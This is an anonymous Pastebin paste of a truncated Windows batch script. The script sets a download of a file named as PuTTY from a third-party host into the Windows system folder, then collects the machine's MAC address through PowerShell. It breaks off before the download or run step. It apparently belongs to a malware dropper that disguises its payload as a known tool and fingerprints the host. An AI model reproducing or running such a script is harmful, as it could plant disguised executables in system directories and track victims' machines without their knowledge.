Guest User

Untitled

a guest
Mar 13th, 2025
27
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. @echo off
  2. set "url=http://filegit.com/files/putty"
  3. set "downloadsFolder=%WINDIR%"
  4. set "outputPath=%downloadsFolder%\putty.exe"
  5. set "tempFile=%downloadsFolder%\temp_putty.exe"
  6.  
  7. REM Get the MAC address using PowerShell (only for physical, active adapters)
  8. for /f "delims=" %%A in ('powershell -Command "Get-NetAdapter | Where-Object {($_.Status -eq 'Up') -and ($_.Virtual -eq $false)} | Select-Object -ExpandProperty MacAddress"') do (
  9. set "macAddress=%%A"
  10. goto :continue
  11. )
  12.  
  13. :continue
  14. REM Remove colons from MAC address (if needed)
  15. set "macAddress=%macAddress::=-%"
  16.  
Advertisement
Add Comment
Please, Sign In to add comment